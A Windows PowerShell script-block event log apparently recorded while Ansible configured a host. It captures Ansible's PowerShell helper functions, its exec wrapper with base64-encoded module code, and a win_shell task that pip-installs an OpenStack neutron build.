Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1554 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4404 | 4788 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:33 AM | dfeadd90-ee34-0005-73f2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 175a20a2-a487-414f-8f29-e1b22935a6d2
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1553 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4404 | 4788 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:33 AM | dfeadd90-ee34-0005-6cf2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 892c47a8-ba33-4578-ba13-78d768d2faec
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1552 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4404 | 4788 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:32 AM | dfeadd90-ee34-0005-5df2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
dGgKICAgICkKICAgICMgUmVwbGFjZW1lbnQgZm9yIEdldC1JdGVtCiAgICB0cnkgewogICAgICAgICRmaWxlX2F0dHJpYnV0ZXMgPSBbU3lzdGVtLklPLkZpbGVdOjpHZXRBdHRyaWJ1dGVzKCRQYXRoKQogICAgfSBjYXRjaCB7CiAgICAgICAgIyBpZiAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb3RpbnVlIGlzIHNldCBvbiB0aGUgY21kbGV0IGFuZCB3ZSBmYWlsZWQgdG8KICAgICAgICAjIGdldCB0aGUgYXR0cmlidXRlcywganVzdCByZXR1cm4gJG51bGwsIG90aGVyd2lzZSB0aHJvdyB0aGUgZXJyb3IKICAgICAgICBpZiAoJEVycm9yQWN0aW9uUHJlZmVyZW5jZSAtbmUgIlNpbGVudGx5Q29udGludWUiKSB7Ci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HQuZGVsdGEgPSAkKCRlbmRfZGF0ZXRpbWUgLSAkc3RhcnRfZGF0ZXRpbWUpLlRvU3RyaW5nKCJoXDptbVw6c3NcLmZmZmZmZiIpCgpJZiAoJHJlc3VsdC5yYyAtbmUgMCkgewogICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAibm9uLXplcm8gcmV0dXJuIGNvZGUiCn0KCkV4aXQtSnNvbiAkcmVzdWx0Cg==", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_shell", "_raw_params": "pip install -c c:\\openstack\\build\\requirements\\upper-constraints.txt -U -e c:\\openstack\\build\\neutron", "_ansible_verbosity": 4, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: ef2e5cc7-bdb8-41c1-b74f-58d4150234e7
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1551 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4404 | 4788 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:32 AM | dfeadd90-ee34-0005-57f2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
gICBub3QgYWxyZWFkeSBzZXQgdXAuIFRoaXMgaXMgYSBjb252ZW5pZW5jZSBmb3IgdGhlIG1vZHVsZSBkZXZlbG9wZXIKICAgIHNvIHRoZXkgZG8gbm90IGhhdmUgdG8gY2hlY2sgZm9yIHRoZSBhdHRyaWJ1dGUgcHJpb3IgdG8gYWRkaW5nLgojPgogICAgaWYgKC1ub3QgJG9iai5Db250YWluc0tleSgiZGVwcmVjYXRpb25zI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pYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRWYWxpZGF0ZVNldEVycm9yTWVzc2FnZQogICAgICAgICAgICB9Ci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GlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9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| | 3 | 2 | 15 | 0 | 1550 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4404 | 4788 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:32 AM | dfeadd90-ee34-0005-57f2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
IGlmICghQ3JlYXRlUGlwZShvdXQgc3RkaW5fcmVhZCwgb3V0IHN0ZGluX3dyaXRlLCBwaXBlc2VjLCAwKSkKICAgICAgICAgICAgICAgIHRocm93IG5ldyBXaW4zMkV4Y2VwdGlvbigiU1RESU4gcGlwZSBzZXR1cCBmYWlsZWQiKTsKICAgICAgICAgICAgaWYgKCFTZXRIYW5kbGVJbmZvcm1hdGlvbihzdGRpbl93cml0ZSwgSGFuZGxlRmxhZ3MuSU5IRVJJVCwgMCkpCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIlNURElOIHBpcGUgaGFuZGxlIHNldHVwIGZhaWxlZCIpOwoKICAgICAgICAgICAgc2kuc3RhcnR1cEluZm8uaFN0ZE91dHB1dCA9IHN0ZG91dF93cml0ZTsKICAgICAgICAgICAgc2kuc3RhcnR1cEluZm8uaFN0ZEVycm9yID0gc3RkZXJyX3dyaXRlOwogICAgICAgICAgICBzaS5zdGFydHVwSW5mby5oU3RkSW5wdXQgPSBzdGRpbl9yZWFkOwoKICAgICAgICAgICAgLy8gU2V0dXAgdGhlIHN0ZGluIGJ1ZmZlcgogICAgICAgICAgICBVVEY4RW5jb2RpbmcgdXRmOF9lbmNvZGluZyA9IG5ldyBVVEY4RW5jb2RpbmcoZmFsc2UpOwogICAgICAgICAgICBGaWxlU3RyZWFtIHN0ZGluX2ZzID0gbmV3IEZpbGVTdHJlYW0oc3RkaW5fd3JpdGUsIEZpbGVBY2Nlc3MuV3JpdGUsIDMyNzY4KTsKICAgICAgICAgICAgU3RyZWFtV3JpdGVyIHN0ZGluID0gbmV3IFN0cmVhbVdyaXRlcihzdGRpbl9mcywgdXRmOF9lbmNvZGluZywgMzI3NjgpOwoKICAgICAgICAgICAgLy8gSWYgbHBDdXJyZW50RGlyZWN0b3J5IGlzIHNldCB0byBudWxsIGluIFBTIGl0IHdpbGwgYmUgYW4gZW1wdHkKICAgICAgICAgICAgLy8gc3RyaW5nIGhlcmUsIHdlIG5lZWQgdG8gY29udmVydCBpdAogICAgICAgICAgICBpZiAobHBDdXJyZW50RGlyZWN0b3J5ID09ICIiKQogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5ID0gbnVsbDsKCiAgICAgICAgICAgIFN0cmluZ0J1aWxkZXIgZW52aXJvbm1lbnRTdHJpbmcgPSBudWxsOwoKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50ICE9IG51bGwgJiYgZW52aXJvbm1lbnQuQ291bnQgPiAwKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBlbnZpcm9ubWVudFN0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoIChEaWN0aW9uYXJ5RW50cnkga3YgaW4gZW52aXJvbm1lbnQpCiAgICAgICAgICAgICAgICAgICAgZW52aXJvbm1lbnRTdHJpbmcuQXBwZW5kRm9ybWF0KCJ7MH09ezF9XDAiLCBrdi5LZXksIGt2LlZhbHVlKTsKICAgICAgICAgICAgICAgIGVudmlyb25tZW50U3RyaW5nLkFwcGVuZCgnXDAnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gQ3JlYXRlIHRoZSBlbnZpcm9ubWVudCBibG9jayBpZiBzZXQKICAgICAgICAgICAgSW50UHRyIGxwRW52aXJvbm1lbnQgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50U3RyaW5nICE9IG51bGwpCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50ID0gTWFyc2hhbC5TdHJpbmdUb0hHbG9iYWxVbmkoZW52aXJvbm1lbnRTdHJpbmcuVG9TdHJpbmcoKSk7CgogICAgICAgICAgICAvLyBDcmVhdGUgbmV3IHByb2Nlc3MgYW5kIHJ1bgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGFyZ3VtZW50X3N0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKGxwQ29tbWFuZExpbmUpOwogICAgICAgICAgICBQUk9DRVNTX0lORk9STUFUSU9OIHBpID0gbmV3IFBST0NFU1NfSU5GT1JNQVRJT04oKTsKICAgICAgICAgICAgaWYgKCFDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICAgICAgbHBBcHBsaWNhdGlvbk5hbWUsCiAgICAgICAgICAgICAgICBhcmd1bWVudF9zdHJpbmcsCiAgICAgICAgICAgICAgICBJbnRQdHIuWmVybywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgdHJ1ZSwKICAgICAgICAgICAgICAgIHN0YXJ0dXBfZmxhZ3MsCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50LAogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICAgICAgc2ksCiAgICAgICAgICAgICAgICBvdXQgcGkpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkZhaWxlZCB0byBjcmVhdGUgbmV3IHByb2Nlc3MiKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gU2V0dXAgdGhlIG91dHB1dCBidWZmZXJzIGFuZCBnZXQgc3Rkb3V0L3N0ZGVycgogICAgICAgICAgICBGaWxlU3RyZWFtIHN0ZG91dF9mcyA9IG5ldyBGaWx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KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdm9pZCBHZXRQcm9jZXNzT3V0cHV0KFN0cmVhbVJlYWRlciBzdGRvdXRTdHJlYW0sIFN0cmVhbVJlYWRlciBzdGRlcnJTdHJlYW0sIG91dCBzdHJpbmcgc3Rkb3V0LCBvdXQgc3RyaW5nIHN0ZGVycikKICAgICAgICB7CiAgICAgICAgICAgIHZhciBzb3dhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHZhciBzZXdhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHN0cmluZyBzbyA9IG51bGwsIHNlID0gbnVsbDsKICAgICAgICAgICAgVGhyZWFkUG9vbC5RdWV1ZVVzZXJXb3JrSXRlbSgocykgPT4KICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc28gPSBzdGRvdXRTdHJlYW0uUmVhZFRvRW5kKCk7CiAgICAgICAgICAgICAgICBzb3dhaXQuU2V0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICBUaHJlYWRQb29sLlF1ZXVlVXNlcldvcmtJdGVtKChzKSA9PgogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzZSA9IHN0ZGVyclN0cmVhbS5SZWFkVG9FbmQoKTsKICAgICAgICAgICAgICAgIHNld2FpdC5TZXQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIGZvcmVhY2ggKHZhciB3aCBpbiBuZXcgV2FpdEhhbmRsZVtdIHsgc293YWl0LCBzZXdhaXQgfSkKICAgICAgICAgICAgICAgIHdoLldhaXRPbmUoKTsKICAgICAgICAgICAgc3Rkb3V0ID0gc287CiAgICAgICAgICAgIHN0ZGVyciA9IHNlOwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdW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oKICAgIGlmICgtbm90ICRvYmouQ29udGFpbnNLZXkoIndhcm5pbmdzIikpIHsKICAgICAgICAkb2JqLndhcm5pbmdzID0gQCgpCiAgICB9IGVsc2VpZiAoJG9iai53YXJuaW5ncyAtaXNub3QgW2FycmF5XSkgewogICAgICAgIHRocm93ICJBZGQtV2FybmluZzogd2FybmluZ3MgYXR0cmlidXRlIGlzIG5vdCBhbiBhcnJheSIKICAgIH0KCiAgICAkb2JqLndhcm5pbmdzICs9ICRtZXNzYWdlCn0KCkZ1bmN0aW9uIEFkZC1EZXByZWNhdGlvbldhcm5pbmcoJG9iaiwgJG1lc3NhZ2UsICR2ZXJzaW9uID0gJG51bGwpCnsKPCMKICAgIC5TWU5PUFNJUwogICAgSGVscGVyIGZ1bmN0aW9uIHRvIGFkZCBkZXByZWNhdGlvbnMsIGV2ZW4gaWYgdGhlIGRlc